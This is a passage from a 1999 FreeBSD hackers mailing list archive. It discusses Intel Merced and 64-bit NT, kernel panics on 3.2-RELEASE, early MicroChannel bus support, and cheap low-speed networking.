was insisting that Alpha remained > the development platform for NT64 while dropping support for NT32 on the > Alpha last week, while Microsoft was griping about the decision and > talking about dropping Alpha as the NT64 development platform. They can't > yet, of course, because they don't HAVE any Merced chips, but the writing > is on the wall... The trade rags here insist it has already happened: M$ stopped 64 bit Alpha NT. Beats me if it is true or not. -- | / o / / _ Arnhem, The Netherlands - Powered by FreeBSD - |/|/ / / /( (_) Bulte WWW : http://www.tcja.nl http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 16:10: 1 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp13.bellglobal.com (smtp13.bellglobal.com [204.101.251.52]) by hub.freebsd.org (Postfix) with ESMTP id 9DB5E14F46 for ; Fri, 27 Aug 1999 16:09:56 -0700 (PDT) (envelope-from vanderh@ecf.toronto.edu) Received: from localhost.nowhere (ppp18333.on.bellglobal.com [206.172.130.13]) by smtp13.bellglobal.com (8.8.5/8.8.5) with ESMTP id TAA22077; Fri, 27 Aug 1999 19:11:47 -0400 (EDT) Received: (from tim@localhost) by ppp18415.on.bellglobal.com (8.9.3/8.9.1) id SAA38585; Fri, 27 Aug 1999 18:47:17 -0400 (EDT) (envelope-from tim) Date: Fri, 27 Aug 1999 18:47:17 -0400 From: Tim Vanderhoek To: Doug Cc: freebsd-hackers@freebsd.org Subject: Re: Splash screen problem after being interrupted Message-ID: <19990827184716.B35482@ppp18415.on.bellglobal.com> Reply-To: hoek@freebsd.org References: <37C6315B.22B08397@gorean.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <37C6315B.22B08397@gorean.org>; from Doug on Thu, Aug 26, 1999 at 11:34:03PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Aug 26, 1999 at 11:34:03PM -0700, Doug wrote: > Tonight while testing my rc file changes I decided to interrupt > the splash screen display I have to see the boot messages. I hit [...] > Obviously this is a "... well don't do that" case, but I'm not > sure it should be fatal. Hopefully this is of use to someone. It worked with the original splash kit patch from when 3.0 was -current. -- This is my .signature which gets appended to the end of my messages. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 16:36:52 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from members.activetech.net (members.activetech.net [209.81.201.6]) by hub.freebsd.org (Postfix) with ESMTP id 84BD314FC0; Fri, 27 Aug 1999 16:36:45 -0700 (PDT) (envelope-from kris@activetech.net) Received: from wybitny (wybitny.activetech.net [209.81.201.10]) by members.activetech.net (Pro-8.9.3/Pro-8.9.3) with SMTP id SAA11167; Fri, 27 Aug 1999 18:43:12 -0500 (CDT) Message-ID: <021b01bef0e1$7adf1260$0ac951d1@activetech.net> From: "Kris Kedzierski" To: "Wilko Bulte" , "Wes Peters" Cc: , , , , References: <199908272225.AAA03716@yedi.iaf.nl> Subject: Re: Intel Merced FreeBSD??? Date: Fri, 27 Aug 1999 18:11:22 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > As Wes Peters wrote ... > > Mitch Collinsworth wrote: > > > > > > ?? I thought we had already established that neither Linux or NT runs > > > on Merced, only HP-UX so far. I would certainly like to see a FBSD > > > port as I imagine we will be seeing Merced-based systems here quite > > > early on. > > > > Nope, it was reported last week a group at Intel has Linux booting on a > > Merced simulator. That doesn't mean it's ready to release, but it's a lot > > further along than most systems. > > > > If you think Microsoft doesn't have 64-bit NT in development for Merced, > > you're being awfully gullible. Compaq was insisting that Alpha remained > > the development platform for NT64 while dropping support for NT32 on the > > Alpha last week, while Microsoft was griping about the decision and > > talking about dropping Alpha as the NT64 development platform. They can't > > yet, of course, because they don't HAVE any Merced chips, but the writing > > is on the wall... > > The trade rags here insist it has already happened: M$ stopped 64 bit Alpha > NT. Beats me if it is true or not. It is, M$ posted it on their NT website. Even ZD is writing about it. Kris Kedzierski kris@activetech.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 16:53:49 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mongoose.slip.net (mongoose.slip.net [207.171.193.14]) by hub.freebsd.org (Postfix) with ESMTP id 43C7A14CE2 for ; Fri, 27 Aug 1999 16:53:47 -0700 (PDT) (envelope-from admin@addr.com) Received: from [209.152.191.146] (helo=comp3.addr.com) by mongoose.slip.net with esmtp (Exim 2.12 #4) id 11KVoY-0007FH-00 for freebsd-hackers@FreeBSD.ORG; Fri, 27 Aug 1999 16:53:46 -0700 Message-Id: <4.2.0.58.19990827163733.0203e380@mail3.addr.com> X-Sender: addr@mail3.addr.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 27 Aug 1999 16:53:26 -0700 To: freebsd-hackers@FreeBSD.ORG From: "Addr.com Web Hosting" Subject: Q: Frequent panics on 3.2-RELEASE Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I am getting very frequent panics (3 per day) on a 3.2-RELEASE server.: Fatal trap 12: page fault while in kernel mode mp_lock = 00000002; cpuid = 0; lapic.id = 00000000 fault virtual address = 0xbfca0b0c fault code = supervisor read, page not present instruction pointer = 0x8:0xc0255fa3 stack pointer = 0x10:0xcccb6f08 frame pointer = 0x10:0xcccb6f18 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 59793 (httpd) interrupt mask = net tty bio cam <- SMP: XXX trap number = 12 panic: page fault mp_lock = 00000002; cpuid = 0; lapic.id = 00000000 boot() called on cpu#0 # nm /kernel | grep c0255f c0255f3c T pmap_remove_pages The once the machine reboots, it often follows up (within 5 minutes) with: panic: sbflush: cc 0 || mb 0 || mbcnt 67108864 mp_lock = 00000001; cpuid = 0; lapic.id = 00000000 boot() called on cpu#0 It is a dual PIII-450 machine, with 512 MB of ram and DPT raid controller (maxusers set at 256). The machine is mildly loaded, running http, ftp, pop3, smtp, telnet... as well as a low volume NFS client and server. Any suggestions as to how to fix these panics would be greatly appreciated. If more info is needed I can probably find it. Thanks in advance, Anthony. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 17:18:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id BA247150D3; Fri, 27 Aug 1999 17:18:40 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with ESMTP id UAA21203; Fri, 27 Aug 1999 20:18:39 -0400 (EDT) Date: Fri, 27 Aug 1999 20:18:39 -0400 (EDT) From: "Matthew N. Dodd" To: freebsd-hackers@freebsd.org, freebsd-hardware@freebsd.org Subject: Its about that time of year again. (FreeBSD & MCA) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG But instead of lamely asking "Does FreeBSD support MCA?" or "When will someone finish MCA support?" (which I suppose is still a valid question.) I will ask another question; "Anyone want to see what I've got so far?" http://www.jurai.net/~winter/mca/ README.mca mca.diff mca.tar.gz MicroChannel Architecture System detected. ... mca0: on motherboard mca0: unknown card (id 0x8fda, enabled) at slot 1 ed0: io 0x280-0x29f mem 0xd0000-0xd3fff ed0: irq 10 on mca0 id 6fc2 slot 2 ed0: address 00:00:c0:31:94:30, type WD8003W/A (16 bit) ie0: <3Com EtherLink/MC Ethernet Adapter> io 0x300-0x307 mem 0xc0000-0xc5fff ie0: irq 9 on mca0 id 6042 slot 3 ie0: <3C523 R14> address 02:60:8c:da:15:ac mca0: unknown card (id 0xeeff, enabled) at slot 4 mca0: unknown card (id 0x8efe, enabled) at slot 5 ... Granted, I'm still having problems getting the (until now ISA only) drivers working with these cards but if_ed_mca is able to send packets and complain about device timeouts and the if_ie_mca driver does manage to blow up somewhere inside of ieinit(). :) Basically, I believe that I've got all the pieces needed for FreeBSD to support MCA devices, should any device drivers actually be written. I've got a pile of stuff I'm trying to work through here so drivers should show up at some point (I think the 'aha' driver for the aha1640 will work out of the box but I don't have one to test that theory on. Yet.) I'm planning on committing this stuff to -CURRENT in a week or two, or when I actually manage to get a driver working, whichever comes first. I'd really like a few other people to try booting a kernel with this code on any of the MCA systems they happen to have laying around just to make sure that my changes do indeed work on other hardware than my Model 77. If someone has a ABIOS block device driver code hiding on their hard disk I'd really like to look at it (I already know about the Mach3 stuff). Thanks! -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 17:30:21 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id E128C14BDC for ; Fri, 27 Aug 1999 17:30:16 -0700 (PDT) (envelope-from kris@airnet.net) Received: from airnet.net (tc14-216-180-35-71.dialup.HiWAAY.net [216.180.35.71] (may be forged)) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id TAA19665; Fri, 27 Aug 1999 19:28:42 -0500 (CDT) Message-ID: <37C72D39.FECD29DF@airnet.net> Date: Fri, 27 Aug 1999 19:28:41 -0500 From: Kris Kirby Organization: Non Illegitemus Carborundum. X-Mailer: Mozilla 4.08 [en] (X11; U; FreeBSD 3.2-RELEASE i386) MIME-Version: 1.0 To: "Matthew N. Dodd" Cc: hackers@freebsd.org Subject: Re: Are the ethernet drivers time dependent? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew N. Dodd wrote: > > On Fri, 27 Aug 1999, Kris Kirby wrote: > > I know there are drivers for the WaveLan card, but I'm looking at going > > even slower (256Kb!). > Why do you wnat to do this? If for bandwidht limiting you need look no > further than 'dummynet'. It's not a bandwidth issue; it's a speed issue. I'm trying to find an extremely cheap way to get data in and out of a PC. I've got the National Semiconductor application sheets for the 8392(?) and plan on using one "cut in half": Half duplex, but split into seperate TX and RX lines. I'm also looking at a scaleable way to go up or down in speed, without dealing with async... A layer two device if you will. -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 17:32:26 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id 601C914BDC for ; Fri, 27 Aug 1999 17:32:25 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with ESMTP id UAA21418; Fri, 27 Aug 1999 20:32:24 -0400 (EDT) Date: Fri, 27 Aug 1999 20:32:24 -0400 (EDT) From: "Matthew N. Dodd" To: Kris Kirby Cc: hackers@freebsd.org Subject: Re: Are the ethernet drivers time dependent? In-Reply-To: <37C72D39.FECD29DF@airnet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Kris Kirby wrote: > It's not a bandwidth issue; it's a speed issue. I'm trying to find an > extremely cheap way to get data in and out of a PC. How about an I2C bus? (Or is that -too- slow?) -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 17:44: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.teb1.iconnet.net (smtp02.teb1.iconnet.net [209.3.218.43]) by hub.freebsd.org (Postfix) with ESMTP id B58B714EC0; Fri, 27 Aug 1999 17:43:53 -0700 (PDT) (envelope-from babkin@bellatlantic.net) Received: from bellatlantic.net (client-117-198.bellatlantic.net [151.198.117.198]) by smtp02.teb1.iconnet.net (8.9.1/8.9.1) with ESMTP id UAA05389; Fri, 27 Aug 1999 20:41:43 -0400 (EDT) Message-ID: <37C7312B.EE446A5C@bellatlantic.net> Date: Fri, 27 Aug 1999 20:45:31 -0400 From: Sergey Babkin X-Mailer: Mozilla 4.07 [en] (X11; I; FreeBSD 3.0-980222-SNAP i386) MIME-Version: 1.0 To: Thomas David Rivers Cc: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG, kdrobnac@mission.mvnc.edu Subject: Re: Intel Merced FreeBSD??? References: <199908271229.IAA35280@lakes.dignus.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thomas David Rivers wrote: > Microsoft needs a "business quality" version of Windows, > which it claims is Windows/2000. That version of Windows > could benefit from a 64-bit port, if for marketing only; but > I don't think it would result in the volume of sales Intel > is looking for. A funny thing is that Microsoft is porting essentially a 32-bit version of Windows to Merced. All the programs for Windows that want to use 64-bit support will have to be modified because the MS compiler defines both int and long as 32-bit. On the other hand the Unix compilers (at least UnixWare and as far as I understood that's the common Unix convention) provide a mode with 64-bit longs that gives certain degree of 64-bit awareness just by recompiling. > And - let me add - Intel has been down this path before > (the i860) - and didn't see the success it wanted (although > the i860 is popping up in some interesting places now...) Merced can run the x86 code. Not as fast as the native code but I guess comparable to the Pentiums. > I suppose what this "rant" is all about is that I'm not > convinced Merced is the "chip of the future" that we all > need to be worried about. I'm taking a "wait-and-see" > attitude. [Also, since Microsoft has been working > closely with Intel regarding Merced for several years > now, and has yet to do anything `serious' - I believe > they are taking the same "wait-and-see" approach. Likely > while telling Intel otherwise.] SCO and IBM with their Monterey-64 project are considering Merced quite seriously. Actually, as far as I know, for Monterey-64 the availability of the Merceds seems to be the limiting factor now. -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 17:55:52 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.teb1.iconnet.net (smtp02.teb1.iconnet.net [209.3.218.43]) by hub.freebsd.org (Postfix) with ESMTP id CEF9614F6E; Fri, 27 Aug 1999 17:55:39 -0700 (PDT) (envelope-from babkin@bellatlantic.net) Received: from bellatlantic.net (client-117-198.bellatlantic.net [151.198.117.198]) by smtp02.teb1.iconnet.net (8.9.1/8.9.1) with ESMTP id UAA05773; Fri, 27 Aug 1999 20:55:11 -0400 (EDT) Message-ID: <37C73452.E20D0E08@bellatlantic.net> Date: Fri, 27 Aug 1999 20:58:58 -0400 From: Sergey Babkin X-Mailer: Mozilla 4.07 [en] (X11; I; FreeBSD 3.0-980222-SNAP i386) MIME-Version: 1.0 To: jbryant@tfs.net Cc: hackers@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? Intel? - NOT References: <199908271943.OAA28209@argus.tfs.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jim Bryant wrote: > > I really don't know how people get started with this. HP has _never_ stated > > that the chip will handle it; all they have stated is that HPUX applications > > will continue to be supported. > > > > I suggest you people go read comp.arch for a while; there's a fair bit of > > information cropping up there. For example, there's a wonderful thread going > > on about HP's previous experience with architecture emulation, including some > > interesting comments by people at HP. > > Well, the way I understand things, HP-UX 11 comes in two flavors, 32 > bits and 64 bits. I think that 32-bit code is handled in a legacy > emulation under 64 bit 11, I'd have to double check that though with > the book. PA-8000 (PA-RISC 2.0 architecture) has harware support for the 32-bit (PA-RISC 1.1 architecture) instructions. It's configured by one of the bits in the status register. Alas, HP does not have the PA-RISC 2.0 specs online but they have a whitepaper describing the additions in a nutshell. But I guess internally the system calls are implemented as 64-bit. Speaking about Merced, the same thing is done in SCO/IBM Monterey-64, all the kernel including the implementation of the 32-bit system calls (the UnixWare IA-32 compatibility subsystem) works in the 64-bit mode. -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 17:55:52 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.teb1.iconnet.net (smtp02.teb1.iconnet.net [209.3.218.43]) by hub.freebsd.org (Postfix) with ESMTP id CEF9614F6E; Fri, 27 Aug 1999 17:55:39 -0700 (PDT) (envelope-from babkin@bellatlantic.net) Received: from bellatlantic.net (client-117-198.bellatlantic.net [151.198.117.198]) by smtp02.teb1.iconnet.net (8.9.1/8.9.1) with ESMTP id UAA05773; Fri, 27 Aug 1999 20:55:11 -0400 (EDT) Message-ID: <37C73452.E20D0E08@bellatlantic.net> Date: Fri, 27 Aug 1999 20:58:58 -0400 From: Sergey Babkin X-Mailer: Mozilla 4.07 [en] (X11; I; FreeBSD 3.0-980222-SNAP i386) MIME-Version: 1.0 To: jbryant@tfs.net Cc: hackers@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? Intel? - NOT References: <199908271943.OAA28209@argus.tfs.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jim Bryant wrote: > > I really don't know how people get started with this. HP has _never_ stated > > that the chip will handle it; all they have stated is that HPUX applications > > will continue to be supported. > > > > I suggest you people go read comp.arch for a while; there's a fair bit of > > information cropping up there. For example, there's a wonderful thread going > > on about HP's previous experience with architecture emulation, including some > > interesting comments by people at HP. > > Well, the way I understand things, HP-UX 11 comes in two flavors, 32 > bits and 64 bits. I think that 32-bit code is handled in a legacy > emulation under 64 bit 11, I'd have to double check that though with > the book. PA-8000 (PA-RISC 2.0 architecture) has harware support for the 32-bit (PA-RISC 1.1 architecture) instructions. It's configured by one of the bits in the status register. Alas, HP does not have the PA-RISC 2.0 specs online but they have a whitepaper describing the additions in a nutshell. But I guess internally the system calls are implemented as 64-bit. Speaking about Merced, the same thing is done in SCO/IBM Monterey-64, all the kernel including the implementation of the 32-bit system calls (the UnixWare IA-32 compatibility subsystem) works in the 64-bit mode. -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 18: 2: 4 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7]) by hub.freebsd.org (Postfix) with ESMTP id C818A14F6E; Fri, 27 Aug 1999 18:01:41 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id B4CA91C1F; Sat, 28 Aug 1999 09:00:51 +0800 (WST) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.0.2 2/24/98 To: "Matthew N. Dodd" Cc: freebsd-hackers@freebsd.org, freebsd-hardware@freebsd.org Subject: Re: Its about that time of year again. (FreeBSD & MCA) In-reply-to: Your message of "Fri, 27 Aug 1999 20:18:39 -0400." Date: Sat, 28 Aug 1999 09:00:51 +0800 From: Peter Wemm Message-Id: <19990828010051.B4CA91C1F@overcee.netplex.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Matthew N. Dodd" wrote: > But instead of lamely asking "Does FreeBSD support MCA?" or "When will > someone finish MCA support?" (which I suppose is still a valid question.) > I will ask another question; "Anyone want to see what I've got so far?" [..] > I'm planning on committing this stuff to -CURRENT in a week or two, or > when I actually manage to get a driver working, whichever comes first. [..] Good stuff! People may ask "why bother?", but it gives us access to a heap of embedded POS systems that are stuck with OS/2 and Y2K nightmares. Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 18: 2:57 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.teb1.iconnet.net (smtp02.teb1.iconnet.net [209.3.218.43]) by hub.freebsd.org (Postfix) with ESMTP id 53F3714F46; Fri, 27 Aug 1999 18:02:52 -0700 (PDT) (envelope-from babkin@bellatlantic.net) Received: from bellatlantic.net (client-117-198.bellatlantic.net [151.198.117.198]) by smtp02.teb1.iconnet.net (8.9.1/8.9.1) with ESMTP id VAA06162; Fri, 27 Aug 1999 21:02:00 -0400 (EDT) Message-ID: <37C735EC.A32AD59A@bellatlantic.net> Date: Fri, 27 Aug 1999 21:05:48 -0400 From: Sergey Babkin X-Mailer: Mozilla 4.07 [en] (X11; I; FreeBSD 3.0-980222-SNAP i386) MIME-Version: 1.0 To: "Zuidam, Hans" Cc: "'Thomas David Rivers'" , jlwest@tseinc.com, szoli@netvisor.hu, freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? Intel? - NOT References: <9B7E8CE3E214D311A3050008C7A4BDDB0665DC@nlehx061.ehvvon.nl.origin-it.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Zuidam, Hans wrote: > > Hi, > > The IA64 (merced) is a kind of VLIW (Very Large Instruction Word) > processor. It is basically a complete new kind of systems architecture > with a i686 (and of course a i586, ..., 4004) slapped on the side. The > original processor design was done by HP. See: > > The IA-64 Architecture at Work, > IEEE Computer Vol. 31, No. 7, July 1998 > > for a more informed description ;-) of the processor. Merced is not VLIW. VLIW means explicit parallelism of instructions, scheduled by the compiler. It also means that the code is tied very closely to the internal CPU architecture and would be incompatible between different CPUs of the same family. I can't remember now how the Merced architecture is named but it's a rudimentary data-flow machine with explicit synchronization points. Intel has an introduction to the Merced architecture on their Web-site. Also there was a talk at the SCO Forum about the Merced assembly language, I guess it should also be available online. -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 18: 7: 3 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id 404F714DE1; Fri, 27 Aug 1999 18:06:57 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with ESMTP id VAA21884; Fri, 27 Aug 1999 21:04:36 -0400 (EDT) Date: Fri, 27 Aug 1999 21:04:36 -0400 (EDT) From: "Matthew N. Dodd" To: Peter Wemm Cc: freebsd-hackers@freebsd.org, freebsd-hardware@freebsd.org Subject: Re: Its about that time of year again. (FreeBSD & MCA) In-Reply-To: <19990828010051.B4CA91C1F@overcee.netplex.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 28 Aug 1999, Peter Wemm wrote: > Good stuff! People may ask "why bother?", but it gives us access to a > heap of embedded POS systems that are stuck with OS/2 and Y2K > nightmares. Don't forget the PS/2 laptops that use MCA. I'm sure the bottom has fallen out of that market and those machines do have nice screens. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 18: 9:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from sand2.global.net.uk (sand2.global.net.uk [195.147.246.100]) by hub.freebsd.org (Postfix) with ESMTP id 4D97115772; Fri, 27 Aug 1999 18:08:52 -0700 (PDT) (envelope-from mark@globalnet.co.uk) Received: from p89s12a06.client.global.net.uk ([195.147.220.138] helo=marder-1.) by sand2.global.net.uk with esmtp (Exim 2.05 #1) id 11KWz8-0005y4-00; Sat, 28 Aug 1999 02:08:46 +0100 Received: (from mark@localhost) by marder-1. (8.9.2/8.8.8) id CAA00485; Sat, 28 Aug 1999 02:01:23 +0100 (BST) (envelope-from mark) Date: Sat, 28 Aug 1999 02:01:23 +0100 From: Mark Ovens To: Sergey Babkin Cc: Thomas David Rivers , freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org, kdrobnac@mission.mvnc.edu Subject: Re: Intel Merced FreeBSD??? Message-ID: <19990828020123.C291@marder-1> References: <199908271229.IAA35280@lakes.dignus.com> <37C7312B.EE446A5C@bellatlantic.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: <37C7312B.EE446A5C@bellatlantic.net>; from Sergey Babkin on Fri, Aug 27, 1999 at 08:45:31PM -0400 Organization: Total lack of Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Aug 27, 1999 at 08:45:31PM -0400, Sergey Babkin wrote: > Thomas David Rivers wrote: > > > Microsoft needs a "business quality" version of Windows, > > which it claims is Windows/2000. That version of Windows > > could benefit from a 64-bit port, if for marketing only; but > > I don't think it would result in the volume of sales Intel > > is looking for. > > A funny thing is that Microsoft is porting essentially a > 32-bit version of Windows to Merced. All the programs for > Windows that want to use 64-bit support will have to be > modified because the MS compiler defines both int and long > as 32-bit. On the other hand the Unix compilers (at least > UnixWare and as far as I understood that's the common Unix > convention) provide a mode with 64-bit longs that gives > certain degree of 64-bit awareness just by recompiling. > marder-1:/usr/marko{57}% cat > size.c #include int main (void) { printf("short == %d\n", sizeof(short)); printf("int == %d\n", sizeof(int)); printf("long == %d\n", sizeof(long)); printf("long long == %d\n", sizeof(long long)); return(0); } ^D marder-1:/usr/marko{57}% cc !$ marder-1:/usr/marko{57}% ./a.out short == 2 int == 4 long == 4 long long == 8 marder-1:/usr/marko{57}% And the same is true on SunOS 4.1.x as well (although not 100% sure about "long long"). > > And - let me add - Intel has been down this path before > > (the i860) - and didn't see the success it wanted (although > > the i860 is popping up in some interesting places now...) > > Merced can run the x86 code. Not as fast as the native code > but I guess comparable to the Pentiums. > > > I suppose what this "rant" is all about is that I'm not > > convinced Merced is the "chip of the future" that we all > > need to be worried about. I'm taking a "wait-and-see" > > attitude. [Also, since Microsoft has been working > > closely with Intel regarding Merced for several years > > now, and has yet to do anything `serious' - I believe > > they are taking the same "wait-and-see" approach. Likely > > while telling Intel otherwise.] > > SCO and IBM with their Monterey-64 project are considering > Merced quite seriously. Actually, as far as I know, for > Monterey-64 the availability of the Merceds seems to be > the limiting factor now. > > -SB > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -- STATE-OF-THE-ART: Any computer you can't afford. OBSOLETE: Any computer you own. ________________________________________________________________ FreeBSD - The Power To Serve http://www.freebsd.org My Webpage http://ukug.uk.freebsd.org/~mark/ mailto:mark@ukug.uk.freebsd.org http://www.radan.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 18:17:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (Postfix) with ESMTP id D43E414BEA for ; Fri, 27 Aug 1999 18:17:27 -0700 (PDT) (envelope-from julian@whistle.com) Received: from current1.whistle.com (current1.whistle.com [207.76.205.22]) by alpo.whistle.com (8.9.1a/8.9.1) with SMTP id SAA94235; Fri, 27 Aug 1999 18:15:43 -0700 (PDT) Date: Fri, 27 Aug 1999 18:16:10 -0700 (PDT) From: Julian Elischer To: "Matthew N. Dodd" Cc: Kris Kirby , hackers@FreeBSD.ORG Subject: Re: Are the ethernet drivers time dependent? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG plip? On Fri, 27 Aug 1999, Matthew N. Dodd wrote: > On Fri, 27 Aug 1999, Kris Kirby wrote: > > It's not a bandwidth issue; it's a speed issue. I'm trying to find an > > extremely cheap way to get data in and out of a PC. > > How about an I2C bus? > > (Or is that -too- slow?) > > -- > | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | > | winter@jurai.net | 2 x '84 